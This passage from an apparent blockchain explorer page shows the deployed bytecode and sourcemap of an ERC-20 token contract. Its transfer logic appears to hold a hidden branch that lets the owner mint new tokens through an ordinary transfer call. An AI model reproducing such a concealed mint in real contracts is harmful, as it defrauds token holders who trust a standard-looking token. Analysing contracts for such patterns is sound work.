0611595565b80601f016020809104026020016040519081016040528092919081815260200182805461058990611595565b80156105d65780601f106105ab576101008083540402835291602001916105d6565b820191906000526020600020905b8154815290600101906020018083116105b957829003601f168201915b5050505050905090565b600080600260006105ef6109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a390611411565b60405180910390fd5b6106c96106b76109c2565b8585846106c491906114d9565b6109ca565b600191505092915050565b60006106de6109c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561074b575060011515600660009054906101000a900460ff161515145b156107865761076261075b6109c2565b8484610b95565b6000600660006101000a81548160ff02191690831515021790555060019050610935565b61078e6109c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156107fb575060001515600660009054906101000a900460ff161515145b1561091e5761081582600354610e0c90919063ffffffff16565b60038190555061086d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d9190611431565b60405180910390a360019050610935565b6109306109296109c2565b8484610b95565b600190505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a31906113d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611351565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b889190611431565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc906113b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c90611331565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390611371565b60405180910390fd5b8181610d0891906114d9565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9a9190611483565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dfe9190611431565b60405180910390a350505050565b6000808284610e1b9190611483565b905083811015610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e57906113f1565b60405180910390fd5b8091505092915050565b600081359050610e7981611636565b92915050565b600081359050610e8e8161164d565b92915050565b600060208284031215610ea657600080fd5b6000610eb484828501610e6a565b91505092915050565b60008060408385031215610ed057600080fd5b6000610ede85828601610e6a565b9250506020610eef85828601610e6a565b9150509250929050565b600080600060608486031215610f0e57600080fd5b6000610f1c86828701610e6a565b9350506020610f2d86828701610e6a565b9250506040610f3e86828701610e7f565b9150509250925092565b60008060408385031215610f5b57600080fd5b6000610f6985828601610e6a565b9250506020610f7a85828601610e7f565b9150509250929050565b610f8d8161151f565b82525050565b6000610f9e82611467565b610fa88185611472565b9350610fb8818560208601611562565b610fc181611625565b840191505092915050565b6000610fd9602383611472565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061103f602283611472565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110a5602683611472565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061110b602883611472565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611171602583611472565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111d7602483611472565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061123d600883611472565b91507f6f766572666c6f770000000000000000000000000000000000000000000000006000830152602082019050919050565b600061127d602583611472565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6112df8161154b565b82525050565b6112ee81611555565b82525050565b60006020820190506113096000830184610f84565b92915050565b600060208201905081810360008301526113298184610f93565b905092915050565b6000602082019050818103600083015261134a81610fcc565b9050919050565b6000602082019050818103600083015261136a81611032565b9050919050565b6000602082019050818103600083015261138a81611098565b9050919050565b600060208201905081810360008301526113aa816110fe565b9050919050565b600060208201905081810360008301526113ca81611164565b9050919050565b600060208201905081810360008301526113ea816111ca565b9050919050565b6000602082019050818103600083015261140a81611230565b9050919050565b6000602082019050818103600083015261142a81611270565b9050919050565b600060208201905061144660008301846112d6565b92915050565b600060208201905061146160008301846112e5565b92915050565b600081519050919050565b600082825260208201905092915050565b600061148e8261154b565b91506114998361154b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ce576114cd6115c7565b5b828201905092915050565b60006114e48261154b565b91506114ef8361154b565b925082821015611502576115016115c7565b5b828203905092915050565b60006115188261152b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611580578082015181840152602081019050611565565b8381111561158f576000848401525b50505050565b600060028204905060018216806115ad57607f821691505b602082108114156115c1576115c06115f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61163f8161150d565b811461164a57600080fd5b50565b6116568161154b565b811461166157600080fd5b5056fea26469706673582212207e47cdb1b674eb7b437df1f6301028616e7f8c475286f395a10172ce521540a864736f6c63430008000033

Deployed Bytecode Sourcemap

15464:516:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6379:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8879:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7499:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9530:420;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15877:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10365:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7670:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6598:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11083:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8010:508;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8581:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6379:100;6433:13;6466:5;6459:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6379:100;:::o;8879:169::-;8962:4;8979:39;8988:12;:10;:12::i;:::-;9002:7;9011:6;8979:8;:39::i;:::-;9036:4;9029:11;;8879:169;;;;:::o;7499:108::-;7560:7;7587:12;;7580:19;;7499:108;:::o;9530:420::-;9636:4;9653:36;9663:6;9671:9;9682:6;9653:9;:36::i;:::-;9700:24;9727:11;:19;9739:6;9727:19;;;;;;;;;;;;;;;:33;9747:12;:10;:12::i;:::-;9727:33;;;;;;;;;;;;;;;;9700:60;;9799:6;9779:16;:26;;9771:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9861:57;9870:6;9878:12;:10;:12::i;:::-;9911:6;9892:16;:25;;;;:::i;:::-;9861:8;:57::i;:::-;9938:4;9931:11;;;9530:420;;;;;:::o;15877:100::-;15935:5;15960:9;15953:16;;15877:100;:::o;10365:215::-;10453:4;10470:80;10479:12;:10;:12::i;:::-;10493:7;10539:10;10502:11;:25;10514:12;:10;:12::i;:::-;10502:25;;;;;;;;;;;;;;;:34;10528:7;10502:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10470:8;:80::i;:::-;10568:4;10561:11;;10365:215;;;;:::o;7670:127::-;7744:7;7771:9;:18;7781:7;7771:18;;;;;;;;;;;;;;;;7764:25;;7670:127;;;:::o;6598:104::-;6654:13;6687:7;6680:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6598:104;:::o;11083:377::-;11176:4;11193:24;11220:11;:25;11232:12;:10;:12::i;:::-;11220:25;;;;;;;;;;;;;;;:34;11246:7;11220:34;;;;;;;;;;;;;;;;11193:61;;11293:15;11273:16;:35;;11265:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11361:67;11370:12;:10;:12::i;:::-;11384:7;11412:15;11393:16;:34;;;;:::i;:::-;11361:8;:67::i;:::-;11448:4;11441:11;;;11083:377;;;;:::o;8010:508::-;8089:4;8124:12;:10;:12::i;:::-;8110:26;;:10;;;;;;;;;;:26;;;8109:45;;;;;8149:4;8142:11;;:5;;;;;;;;;;;:11;;;8109:45;8106:405;;;8156:42;8166:12;:10;:12::i;:::-;8180:9;8191:6;8156:9;:42::i;:::-;8206:5;8200;;:11;;;;;;;;;;;;;;;;;;8219:4;8212:11;;;;8106:405;8258:12;:10;:12::i;:::-;8244:26;;:10;;;;;;;;;;:26;;;8243:46;;;;;8283:5;8276:12;;:5;;;;;;;;;;;:12;;;8243:46;8240:271;;;8304:23;8320:6;8304:12;;:15;;:23;;;;:::i;:::-;8291:12;:36;;;;8349:31;8373:6;8349:9;:20;8359:9;8349:20;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;8328:9;:20;8338:9;8328:20;;;;;;;;;;;;;;;:52;;;;8406:9;8386:38;;8395:9;8386:38;;;8417:6;8386:38;;;;;;:::i;:::-;;;;;;;;8433:4;8426:11;;;;8240:271;8454:42;8464:12;:10;:12::i;:::-;8478:9;8489:6;8454:9;:42::i;:::-;8505:4;8498:11;;8010:508;;;;;:::o;8581:151::-;8670:7;8697:11;:18;8709:5;8697:18;;;;;;;;;;;;;;;:27;8716:7;8697:27;;;;;;;;;;;;;;;;8690:34;;8581:151;;;;:::o;3545:98::-;3598:7;3625:10;3618:17;;3545:98;:::o;14286:346::-;14405:1;14388:19;;:5;:19;;;;14380:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14486:1;14467:21;;:7;:21;;;;14459:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14570:6;14540:11;:18;14552:5;14540:18;;;;;;;;;;;;;;;:27;14559:7;14540:27;;;;;;;;;;;;;;;:36;;;;14608:7;14592:32;;14601:5;14592:32;;;14617:6;14592:32;;;;;;:::i;:::-;;;;;;;;14286:346;;;:::o;11960:542::-;12084:1;12066:20;;:6;:20;;;;12058:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12168:1;12147:23;;:9;:23;;;;12139:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12221:21;12245:9;:17;12255:6;12245:17;;;;;;;;;;;;;;;;12221:41;;12298:6;12281:13;:23;;12273:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12394:6;12378:13;:22;;;;:::i;:::-;12358:9;:17;12368:6;12358:17;;;;;;;;;;;;;;;:42;;;;12435:6;12411:9;:20;12421:9;12411:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;12476:9;12459:35;;12468:6;12459:35;;;12487:6;12459:35;;;;;;:::i;:::-;;;;;;;;11960:542;;;;:::o;3939:123::-;3996:7;4006:9;4022:1;4018;:5;;;;:::i;:::-;4006:17;;4037:1;4032;:6;;4024:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;4059:1;4052:8;;;3939:123;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:367::-;;2597:67;2661:2;2656:3;2597:67;:::i;:::-;2590:74;;2694:34;2690:1;2685:3;2681:11;2674:55;2760:5;2755:2;2750:3;2746:12;2739:27;2792:2;2787:3;2783:12;2776:19;;2580:221;;;:::o;2807:366::-;;2970:67;3034:2;3029:3;2970:67;:::i;:::-;2963:74;;3067:34;3063:1;3058:3;3054:11;3047:55;3133:4;3128:2;3123:3;3119:12;3112:26;3164:2;3159:3;3155:12;3148:19;;2953:220;;;:::o;3179:370::-;;3342:67;3406:2;3401:3;3342:67;:::i;:::-;3335:74;;3439:34;3435:1;3430:3;3426:11;3419:55;3505:8;3500:2;3495:3;3491:12;3484:30;3540:2;3535:3;3531:12;3524:19;;3325:224;;;:::o;3555:372::-;;3718:67;3782:2;3777:3;3718:67;:::i;:::-;3711:74;;3815:34;3811:1;3806:3;3802:11;3795:55;3881:10;3876:2;3871:3;3867:12;3860:32;3918:2;3913:3;3909:12;3902:19;;3701:226;;;:::o;3933:369::-;;4096:67;4160:2;4155:3;4096:67;:::i;:::-;4089:74;;4193:34;4189:1;4184:3;4180:11;4173:55;4259:7;4254:2;4249:3;4245:12;4238:29;4293:2;4288:3;4284:12;4277:19;;4079:223;;;:::o;4308:368::-;;4471:67;4535:2;4530:3;4471:67;:::i;:::-;4464:74;;4568:34;4564:1;4559:3;4555:11;4548:55;4634:6;4629:2;4624:3;4620:12;4613:28;4667:2;4662:3;4658:12;4651:19;;4454:222;;;:::o;4682:305::-;;4845:66;4909:1;4904:3;4845:66;:::i;:::-;4838:73;;4941:10;4937:1;4932:3;4928:11;4921:31;4978:2;4973:3;4969:12;4962:19;;4828:159;;;:::o;4993:369::-;;5156:67;5220:2;5215:3;5156:67;:::i;:::-;5149:74;;5253:34;5249:1;5244:3;5240:11;5233:55;5319:7;5314:2;5309:3;5305:12;5298:29;5353:2;5348:3;5344:12;5337:19;;5139:223;;;:::o;5368:118::-;5455:24;5473:5;5455:24;:::i;:::-;5450:3;5443:37;5433:53;;:::o;5492:112::-;5575:22;5591:5;5575:22;:::i;:::-;5570:3;5563:35;5553:51;;:::o;5610:210::-;;5735:2;5724:9;5720:18;5712:26;;5748:65;5810:1;5799:9;5795:17;5786:6;5748:65;:::i;:::-;5702:118;;;;:::o;5826:313::-;;5977:2;5966:9;5962:18;5954:26;;6026:9;6020:4;6016:20;6012:1;6001:9;5997:17;5990:47;6054:78;6127:4;6118:6;6054:78;:::i;:::-;6046:86;;5944:195;;;;:::o;6145:419::-;;6349:2;6338:9;6334:18;6326:26;;6398:9;6392:4;6388:20;6384:1;6373:9;6369:17;6362:47;6426:131;6552:4;6426:131;:::i;:::-;6418:139;;6316:248;;;:::o;6570:419::-;;6774:2;6763:9;6759:18;6751:26;;6823:9;6817:4;6813:20;6809:1;6798:9;6794:17;6787:47;6851:131;6977:4;6851:131;:::i;:::-;6843:139;;6741:248;;;:::o;6995:419::-;;7199:2;7188:9;7184:18;7176:26;;7248:9;7242:4;7238:20;7234:1;7223:9;7219:17;7212:47;7276:131;7402:4;7276:131;:::i;:::-;7268:139;;7166:248;;;:::o;7420:419::-;;7624:2;7613:9;7609:18;7601:26;;7673:9;7667:4;7663:20;7659:1;7648:9;7644:17;7637:47;7701:131;7827:4;7701:131;:::i;:::-;7693:139;;7591:248;;;:::o;7845:419::-;;8049:2;8038:9;8034:18;8026:26;;8098:9;8092:4;8088:20;8084:1;8073:9;8069:17;8062:47;8126:131;8252:4;8126:131;:::i;:::-;8118:139;;8016:248;;;:::o;8270:419::-;;8474:2;8463:9;8459:18;8451:26;;8523:9;8517:4;8513:20;8509:1;8498:9;8494:17;8487:47;8551:131;8677:4;8551:131;:::i;:::-;8543:139;;8441:248;;;:::o;8695:419::-;;8899:2;8888:9;8884:18;8876:26;;8948:9;8942:4;8938:20;8934:1;8923:9;8919:17;8912:47;8976:131;9102:4;8976:131;:::i;:::-;8968:139;;8866:248;;;:::o;9120:419::-;;9324:2;9313:9;9309:18;9301:26;;9373:9;9367:4;9363:20;9359:1;9348:9;9344:17;9337:47;9401:131;9527:4;9401:131;:::i;:::-;9393:139;;9291:248;;;:::o;9545:222::-;;9676:2;9665:9;9661:18;9653:26;;9689:71;9757:1;9746:9;9742:17;9733:6;9689:71;:::i;:::-;9643:124;;;;:::o;9773:214::-;;9900:2;9889:9;9885:18;9877:26;;9913:67;9977:1;9966:9;9962:17;9953:6;9913:67;:::i;:::-;9867:120;;;;:::o;9993:99::-;;10079:5;10073:12;10063:22;;10052:40;;;:::o;10098:169::-;;10216:6;10211:3;10204:19;10256:4;10251:3;10247:14;10232:29;;10194:73;;;;:::o;10273:305::-;;10332:20;10350:1;10332:20;:::i;:::-;10327:25;;10366:20;10384:1;10366:20;:::i;:::-;10361:25;;10520:1;10452:66;10448:74;10445:1;10442:81;10439:2;;;10526:18;;:::i;:::-;10439:2;10570:1;10567;10563:9;10556:16;;10317:261;;;;:::o;10584:191::-;;10644:20;10662:1;10644:20;:::i;:::-;10639:25;;10678:20;10696:1;10678:20;:::i;:::-;10673:25;;10717:1;10714;10711:8;10708:2;;;10722:18;;:::i;:::-;10708:2;10767:1;10764;10760:9;10752:17;;10629:146;;;;:::o;10781:96::-;;10847:24;10865:5;10847:24;:::i;:::-;10836:35;;10826:51;;;:::o;10883:90::-;;10960:5;10953:13;10946:21;10935:32;;10925:48;;;:::o;10979:126::-;;11056:42;11049:5;11045:54;11034:65;;11024:81;;;:::o;11111:77::-;;11177:5;11166:16;;11156:32;;;:::o;11194:86::-;;11269:4;11262:5;11258:16;11247:27;;11237:43;;;:::o;11286:307::-;11354:1;11364:113;11378:6;11375:1;11372:13;11364:113;;;11463:1;11458:3;11454:11;11448:18;11444:1;11439:3;11435:11;11428:39;11400:2;11397:1;11393:10;11388:15;;11364:113;;;11495:6;11492:1;11489:13;11486:2;;;11575:1;11566:6;11561:3;11557:16;11550:27;11486:2;11335:258;;;;:::o;11599:320::-;;11680:1;11674:4;11670:12;11660:22;;11727:1;11721:4;11717:12;11748:18;11738:2;;11804:4;11796:6;11792:17;11782:27;;11738:2;11866;11858:6;11855:14;11835:18;11832:38;11829:2;;;11885:18;;:::i;:::-;11829:2;11650:269;;;;:::o;11925:180::-;11973:77;11970:1;11963:88;12070:4;12067:1;12060:15;12094:4;12091:1;12084:15;12111:180;12159:77;12156:1;12149:88;12256:4;12253:1;12246:15;12280:4;12277:1;12270:15;12297:102;;12389:2;12385:7;12380:2;12373:5;12369:14;12365:28;12355:38;;12345:54;;;:::o;12405:122::-;12478:24;12496:5;12478:24;:::i;:::-;12471:5;12468:35;12458:2;;12517:1;12514;12507:12;12458:2;12448:79;:::o;12533:122::-;12606:24;12624:5;12606:24;:::i;:::-;12599:5;12596:35;12586:2;;12645:1;12642;12635:12;12586:2;12576:79;:::o

Swarm Source

ipfs://7e47cdb1b674eb7b437df1f6301028616e7f8c475286f395a10172ce521540a8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.